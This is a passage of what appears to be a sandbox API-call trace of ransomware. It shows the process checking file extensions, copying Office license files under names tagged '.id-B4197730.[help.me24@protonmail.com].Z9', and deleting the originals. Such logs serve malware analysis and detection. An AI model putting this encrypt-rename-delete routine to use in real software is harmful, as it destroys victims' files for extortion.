	[0184.101] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.101] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x106, lpOverlapped=0x0) returned 1
	[0184.101] SetEndOfFile (hFile=0x538) returned 1
	[0184.102] CloseHandle (hObject=0x538) returned 1
	[0184.102] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.102] SetEndOfFile (hFile=0x55c) returned 1
	[0184.108] CloseHandle (hObject=0x55c) returned 1
	[0184.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1
	[0184.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.110] lstrlenW (lpString=".doc") returned 4
	[0184.110] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString=".docx") returned 5
	[0184.110] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.110] lstrlenW (lpString=".pdf") returned 4
	[0184.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString=".xls") returned 4
	[0184.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString=".xlsx") returned 5
	[0184.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.110] lstrlenW (lpString=".ppt") returned 4
	[0184.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.110] lstrlenW (lpString=".zip") returned 4
	[0184.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString=".rar") returned 4
	[0184.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString=".bz2") returned 4
	[0184.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString=".7z") returned 3
	[0184.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.110] lstrlenW (lpString=".dbf") returned 4
	[0184.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.110] lstrlenW (lpString=".1cd") returned 4
	[0184.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.110] lstrlenW (lpString=".jpg") returned 4
	[0184.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.111] lstrlenW (lpString=".doc") returned 4
	[0184.111] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString=".docx") returned 5
	[0184.111] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.111] lstrlenW (lpString=".pdf") returned 4
	[0184.111] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString=".xls") returned 4
	[0184.111] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString=".xlsx") returned 5
	[0184.111] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.111] lstrlenW (lpString=".ppt") returned 4
	[0184.111] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.111] lstrlenW (lpString=".zip") returned 4
	[0184.111] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString=".rar") returned 4
	[0184.111] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString=".bz2") returned 4
	[0184.111] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString=".7z") returned 3
	[0184.111] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.111] lstrlenW (lpString=".dbf") returned 4
	[0184.111] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.111] lstrlenW (lpString=".1cd") returned 4
	[0184.111] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0184.111] lstrlenW (lpString=".jpg") returned 4
	[0184.112] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.112] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.112] lstrlenW (lpString="MondoR_SubTest2-ppd.xrm-ms") returned 26
	[0184.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.277] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=26525) returned 1
	[0184.277] CloseHandle (hObject=0x55c) returned 1
	[0184.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220
	[0184.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.278] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.278] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.282] GetLastError () returned 0x0
	[0184.282] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x679d, lpOverlapped=0x0) returned 1
	[0184.287] WriteFile (in: hFile=0x530, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0184.288] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.288] WriteFile (in: hFile=0x530, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x108, lpOverlapped=0x0) returned 1
	[0184.289] SetEndOfFile (hFile=0x530) returned 1
	[0184.289] CloseHandle (hObject=0x530) returned 1
	[0184.289] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.289] SetEndOfFile (hFile=0x55c) returned 1
	[0184.294] CloseHandle (hObject=0x55c) returned 1
	[0184.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1
	[0184.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.296] lstrlenW (lpString=".doc") returned 4
	[0184.296] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.296] lstrlenW (lpString=".docx") returned 5
	[0184.296] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.296] lstrlenW (lpString=".pdf") returned 4
	[0184.297] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString=".xls") returned 4
	[0184.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString=".xlsx") returned 5
	[0184.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.297] lstrlenW (lpString=".ppt") returned 4
	[0184.297] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.297] lstrlenW (lpString=".zip") returned 4
	[0184.297] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString=".rar") returned 4
	[0184.297] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString=".bz2") returned 4
	[0184.297] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString=".7z") returned 3
	[0184.297] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.297] lstrlenW (lpString=".dbf") returned 4
	[0184.297] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.297] lstrlenW (lpString=".1cd") returned 4
	[0184.297] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.297] lstrlenW (lpString=".jpg") returned 4
	[0184.297] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.298] lstrlenW (lpString=".doc") returned 4
	[0184.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString=".docx") returned 5
	[0184.298] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.298] lstrlenW (lpString=".pdf") returned 4
	[0184.298] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString=".xls") returned 4
	[0184.298] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString=".xlsx") returned 5
	[0184.298] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.298] lstrlenW (lpString=".ppt") returned 4
	[0184.298] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.298] lstrlenW (lpString=".zip") returned 4
	[0184.298] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString=".rar") returned 4
	[0184.298] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString=".bz2") returned 4
	[0184.298] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString=".7z") returned 3
	[0184.298] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.298] lstrlenW (lpString=".dbf") returned 4
	[0184.298] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.298] lstrlenW (lpString=".1cd") returned 4
	[0184.298] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0184.299] lstrlenW (lpString=".jpg") returned 4
	[0184.299] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.299] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.299] lstrlenW (lpString="MondoR_SubTrial2-pl.xrm-ms") returned 26
	[0184.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.300] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11155) returned 1
	[0184.300] CloseHandle (hObject=0x55c) returned 1
	[0184.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220
	[0184.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.301] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.301] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.302] GetLastError () returned 0x0
	[0184.302] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2b93, lpOverlapped=0x0) returned 1
	[0184.304] WriteFile (in: hFile=0x530, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0184.305] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.306] WriteFile (in: hFile=0x530, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x108, lpOverlapped=0x0) returned 1
	[0184.306] SetEndOfFile (hFile=0x530) returned 1
	[0184.306] CloseHandle (hObject=0x530) returned 1
	[0184.306] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.306] SetEndOfFile (hFile=0x55c) returned 1
	[0184.308] CloseHandle (hObject=0x55c) returned 1
	[0184.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1
	[0184.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.310] lstrlenW (lpString=".doc") returned 4
	[0184.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString=".docx") returned 5
	[0184.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.310] lstrlenW (lpString=".pdf") returned 4
	[0184.310] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString=".xls") returned 4
	[0184.310] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString=".xlsx") returned 5
	[0184.310] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.310] lstrlenW (lpString=".ppt") returned 4
	[0184.310] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.310] lstrlenW (lpString=".zip") returned 4
	[0184.310] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString=".rar") returned 4
	[0184.310] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString=".bz2") returned 4
	[0184.310] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString=".7z") returned 3
	[0184.310] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.310] lstrlenW (lpString=".dbf") returned 4
	[0184.310] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.311] lstrlenW (lpString=".1cd") returned 4
	[0184.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.311] lstrlenW (lpString=".jpg") returned 4
	[0184.311] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.311] lstrlenW (lpString=".doc") returned 4
	[0184.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString=".docx") returned 5
	[0184.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.311] lstrlenW (lpString=".pdf") returned 4
	[0184.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString=".xls") returned 4
	[0184.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString=".xlsx") returned 5
	[0184.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.311] lstrlenW (lpString=".ppt") returned 4
	[0184.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.311] lstrlenW (lpString=".zip") returned 4
	[0184.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString=".rar") returned 4
	[0184.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString=".bz2") returned 4
	[0184.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString=".7z") returned 3
	[0184.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.311] lstrlenW (lpString=".dbf") returned 4
	[0184.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.311] lstrlenW (lpString=".1cd") returned 4
	[0184.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0184.312] lstrlenW (lpString=".jpg") returned 4
	[0184.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.312] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.312] lstrlenW (lpString="MondoR_SubTrial2-ppd.xrm-ms") returned 27
	[0184.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.313] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=26526) returned 1
	[0184.313] CloseHandle (hObject=0x55c) returned 1
	[0184.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220
	[0184.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.313] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.313] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
